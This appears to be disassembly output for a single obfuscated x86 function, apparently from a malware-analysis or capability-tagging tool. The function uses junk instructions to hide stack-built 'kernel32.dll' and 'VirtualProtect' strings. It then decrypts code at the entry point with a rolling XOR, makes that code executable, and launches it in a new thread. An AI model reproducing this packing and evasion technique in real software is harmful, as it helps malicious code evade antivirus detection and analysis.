Function at 0x1983bfa
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor esi, 0xccda6acc
xor esi, 0xccda6acc
popfd
call fcn.01984026
push ebx
push ecx
pop ecx
pop ebx
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 0xd8]
pushfd
push edx
add esp, 4
popfd
mov ebx, 0x61
nop
add bx, 0xa
xchg esi, ebx
xchg ebx, esi
pushfd
xor edx, 0x1e40fdaa
xor edx, 0x1e40fdaa
popfd
mov word [eax], bx
push ecx
pop ecx
sub bx, 6
mov ebx, ebx
mov esi, esi
mov word [eax + 2], bx
pushfd
inc ecx
dec ecx
popfd
add bx, 0xd
pushfd
xor esi, 0x56c490f8
xor esi, 0x56c490f8
popfd
mov word [eax + 4], bx
pushfd
xor edi, 0x509e3ed0
xor edi, 0x509e3ed0
popfd
sub bx, 4
mov ecx, ecx
mov word [eax + 6], bx
pushfd
inc ebx
dec ebx
popfd
sub bx, 9
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
push 0x9ae51b26
add esp, 4
popfd
add bx, 7
push esi
pop esi
mov word [eax + 0xa], bx
xchg edx, edx
pushfd
xor ebx, 0xa72ac9e
xor ebx, 0xa72ac9e
popfd
sub bx, 0x39
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0xc], bx
pushfd
inc ecx
dec ecx
popfd
dec bx
mov edi, edi
mov word [eax + 0xe], bx
mov ebx, ebx
pushfd
push edi
add esp, 4
popfd
sub bx, 4
push esi
pop esi
mov word [eax + 0x10], bx
xchg ecx, ebx
xchg ebx, ecx
add bx, 0x36
push edx
push ebx
pop ebx
pop edx
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0x12], bx
xchg edx, edx
add bx, 8
xchg edi, edi
mov word [eax + 0x14], bx
pushfd
push edx
add esp, 4
popfd
xchg edx, ebx
xchg ebx, edx
mov word [eax + 0x16], bx
pushfd
push ecx
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0x18], 0
push eax
push ecx
pop ecx
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor eax, 0xa00e5814
xor eax, 0xa00e5814
popfd
mov dword [ebp - 0x10], eax
push edx
push ecx
pop ecx
pop edx
push ebx
push ecx
pop ecx
pop ebx
lea eax, [ebp - 0xd8]
push edx
pop edx
push edi
pop edi
mov ebx, 0x61
push esi
pop esi
sub bl, 0xb
pushfd
xor eax, 0x42c97b8d
xor eax, 0x42c97b8d
popfd
mov byte [eax], bl
push esi
push ecx
pop ecx
pop esi
pushfd
inc edx
dec edx
popfd
add bl, 0x13
pushfd
push 0xe572201b
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
mov byte [eax + 1], bl
pushfd
push 0x36ca47be
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
add bl, 9
xchg edi, esi
xchg esi, edi
mov byte [eax + 2], bl
pushfd
push 0x2cfa7828
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
add bl, 2
pushfd
push 0x5db36e42
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push 0x507751e9
add esp, 4
popfd
inc bl
pushfd
push edx
add esp, 4
popfd
pushfd
xor eax, 0x901b0497
xor eax, 0x901b0497
popfd
mov byte [eax + 4], bl
xchg ebx, ecx
xchg ecx, ebx
sub bl, 0x14
push esi
pop esi
mov byte [eax + 5], bl
xchg edx, edx
pushfd
xor edi, 0xecac5339
xor edi, 0xecac5339
popfd
add bl, 0xb
mov esi, esi
nop
mov byte [eax + 6], bl
pushfd
push edx
add esp, 4
popfd
sub bl, 0x1c
pushfd
xor edi, 0x53bfc97e
xor edi, 0x53bfc97e
popfd
mov byte [eax + 7], bl
xchg ebx, ebx
xchg esi, edx
xchg edx, esi
add bl, 0x22
xchg ecx, eax
xchg ecx, eax
push ecx
pop ecx
mov byte [eax + 8], bl
push ecx
push eax
pop eax
pop ecx
push esi
push ecx
pop ecx
pop esi
sub bl, 3
pushfd
xor edi, 0x6928b2dd
xor edi, 0x6928b2dd
popfd
pushfd
xor edx, 0xbda34a87
xor edx, 0xbda34a87
popfd
mov byte [eax + 9], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
xor edx, 0x54d18e93
xor edx, 0x54d18e93
popfd
add bl, 5
xchg ecx, esi
xchg esi, ecx
pushfd
xor esi, 0x82888285
xor esi, 0x82888285
popfd
mov byte [eax + 0xa], bl
pushfd
xor edx, 0xfa2e4f4f
xor edx, 0xfa2e4f4f
popfd
push ecx
pop ecx
sub bl, 0xf
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xb], bl
xchg esi, ebx
xchg ebx, esi
xchg edi, edi
sub bl, 2
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 0xc], bl
pushfd
push 0xcb45115d
add esp, 4
popfd
xchg edi, edi
add bl, 0x11
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 0xd], bl
xchg esi, esi
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 0xe], 0
pushfd
xor edx, 0x234ba58b
xor edx, 0x234ba58b
popfd
pushfd
push ebx
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push ecx
pop ecx
mov dword [ebp - 0xc], eax
mov edx, edx
pushfd
push 0x1090a2d1
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
push 0xaa9d18a3
add esp, 4
popfd
push eax
push 4
push 0x1582bec
push entry0
call dword [ebp - 0xc]
pushfd
push 0xf832bb5d
add esp, 4
popfd
xchg edi, edi
mov edi, entry0
mov ebx, ebx
mov esi, 0x40100e
pushfd
xor edx, 0x65ab3c2a
xor edx, 0x65ab3c2a
popfd
mov ecx, 0x1582bec
pushfd
push ecx
add esp, 4
popfd
mov edx, 0x238ce626
pushfd
xor esi, 0xf7a8103c
xor esi, 0xf7a8103c
popfd
xchg edx, eax
xchg edx, eax
mov ebx, 0
mov ebx, ebx
cld
mov esi, esi
lodsb al, byte [esi]
xchg esi, esi
xor al, dl
xchg edx, edx
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
xchg edi, edi
imul edx, edx, 7
mov edx, edx
test ebx, 1
mov ecx, ecx
je 0x1983f99
xchg edi, edi
add esi, 1
nop
ror ebx, 1
xchg ecx, ecx
dec ecx
xchg edi, edi
test ecx, ecx
xchg esi, esi
jne 0x1983f73
nop
pushfd
xor edi, 0x8a3ec1d7
xor edi, 0x8a3ec1d7
popfd
lea eax, [ebp - 8]
pushfd
inc ebx
dec ebx
popfd
push eax
push 0x20
push 0x1582bec
push entry0
call dword [ebp - 0xc]
xchg edi, edi
lea eax, [ebp - 4]
push ecx
pop ecx
push esi
push ecx
pop ecx
pop esi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push ebx
add esp, 4
popfd
mov esi, esi
mov eax, eax
pushfd
inc edi
dec edi
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push esi
push edx
pop edx
pop esi
jmp 0x1983ff3